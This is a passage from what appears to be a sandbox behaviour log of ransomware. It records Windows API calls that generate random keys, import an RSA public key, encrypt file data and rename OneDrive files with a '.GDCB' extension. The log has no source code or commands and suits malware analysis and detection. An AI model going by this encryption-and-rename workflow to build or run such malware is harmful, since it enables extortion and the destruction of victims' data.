dwFlags=0x0, pbData=0x5490000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5490000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.352] GetLastError () returned 0x0 [0180.352] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\error.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.354] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x54a0000 [0180.356] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x54b0000 [0180.357] ReadFile (in: hFile=0x514, lpBuffer=0x54b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x54b0000*, lpNumberOfBytesRead=0x285d3e8*=0x1e64, lpOverlapped=0x0) returned 1 [0180.376] VirtualAlloc (lpAddress=0x0, dwSize=0x1e70, flAllocationType=0x3000, flProtect=0x4) returned 0x55c0000 [0180.381] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\error.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Error.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\error.png.gdcb")) returned 1 [0180.387] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.389] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0180.389] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.389] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0180.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.391] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0180.391] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.391] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.393] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691a08) returned 1 [0180.393] CryptGetKeyParam (in: hKey=0x3691a08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.393] CryptEncrypt (in: hKey=0x3691a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5480000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5480000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0180.393] GetLastError () returned 0x0 [0180.393] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.393] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0180.395] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36545d8) returned 1 [0180.395] CryptGetKeyParam (in: hKey=0x36545d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0180.395] CryptEncrypt (in: hKey=0x36545d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5490000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5490000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0180.395] GetLastError () returned 0x0 [0180.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.395] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\errorpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0180.397] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x54a0000 [0180.398] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x54b0000 [0180.399] ReadFile (in: hFile=0x514, lpBuffer=0x54b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x54b0000*, lpNumberOfBytesRead=0x285d3e8*=0x13c4, lpOverlapped=0x0) returned 1 [0180.422] VirtualAlloc (lpAddress=0x0, dwSize=0x13d0, flAllocationType=0x3000, flProtect=0x4) returned 0x55c0000 [0180.426] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\errorpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ErrorPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\errorpage.html.gdcb")) returned 1 [0180.449] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.451] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.451] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.451] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.453] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.453] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.453] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0180.456] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5a4e98) returned 1 [0180.456] CryptGetKeyParam (in: hKey=0x5a4e98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.456] CryptEncrypt (in: hKey=0x5a4e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5480000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5480000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.456] GetLastError () returned 0x0 [0180.456] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.456] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0180.458] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bcc8) returned 1 [0180.458] CryptGetKeyParam (in: hKey=0x4f2bcc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.458] CryptEncrypt (in: hKey=0x4f2bcc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5490000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5490000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.458] GetLastError () returned 0x0 [0180.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\acmdismissicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.460] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.462] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.462] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.464] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.464] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.466] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c448) returned 1 [0180.466] CryptGetKeyParam (in: hKey=0x4f2c448, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.466] CryptEncrypt (in: hKey=0x4f2c448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.467] GetLastError () returned 0x0 [0180.467] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.467] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.468] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c208) returned 1 [0180.468] CryptGetKeyParam (in: hKey=0x4f2c208, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.468] CryptEncrypt (in: hKey=0x4f2c208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.469] GetLastError () returned 0x0 [0180.469] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.469] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0180.471] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x54c0000 [0180.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x54d0000 [0180.472] ReadFile (in: hFile=0x518, lpBuffer=0x54d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x54d0000*, lpNumberOfBytesRead=0x285d160*=0x6c7, lpOverlapped=0x0) returned 1 [0180.494] VirtualAlloc (lpAddress=0x0, dwSize=0x6d0, flAllocationType=0x3000, flProtect=0x4) returned 0x55e0000 [0180.498] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg.gdcb")) returned 0 [0180.500] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.502] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.502] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.502] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0180.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.504] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.504] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.504] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.504] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.506] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c048) returned 1 [0180.506] CryptGetKeyParam (in: hKey=0x4f2c048, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.506] CryptEncrypt (in: hKey=0x4f2c048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.506] GetLastError () returned 0x0 [0180.506] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.506] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.508] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c148) returned 1 [0180.508] CryptGetKeyParam (in: hKey=0x4f2c148, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.508] CryptEncrypt (in: hKey=0x4f2c148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.508] GetLastError () returned 0x0 [0180.508] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\erroricon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.511] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0180.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.513] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.513] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.513] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.513] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.515] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.515] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.517] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2be48) returned 1 [0180.518] CryptGetKeyParam (in: hKey=0x4f2be48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.518] CryptEncrypt (in: hKey=0x4f2be48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.518] GetLastError () returned 0x0 [0180.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.518] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0180.520] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bf88) returned 1 [0180.520] CryptGetKeyParam (in: hKey=0x4f2bf88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.520] CryptEncrypt (in: hKey=0x4f2bf88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.521] GetLastError () returned 0x0 [0180.521] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0180.521] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0180.523] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x54e0000 [0180.524] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x54f0000 [0180.525] ReadFile (in: hFile=0x518, lpBuffer=0x54f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x54f0000*, lpNumberOfBytesRead=0x285d160*=0x123, lpOverlapped=0x0) returned 1 [0180.534] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x5600000 [0180.553] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg.gdcb")) returned 0 [0180.555] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.557] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.557] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.558] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.559] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.559] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.559] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.559] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.560] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.562] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: 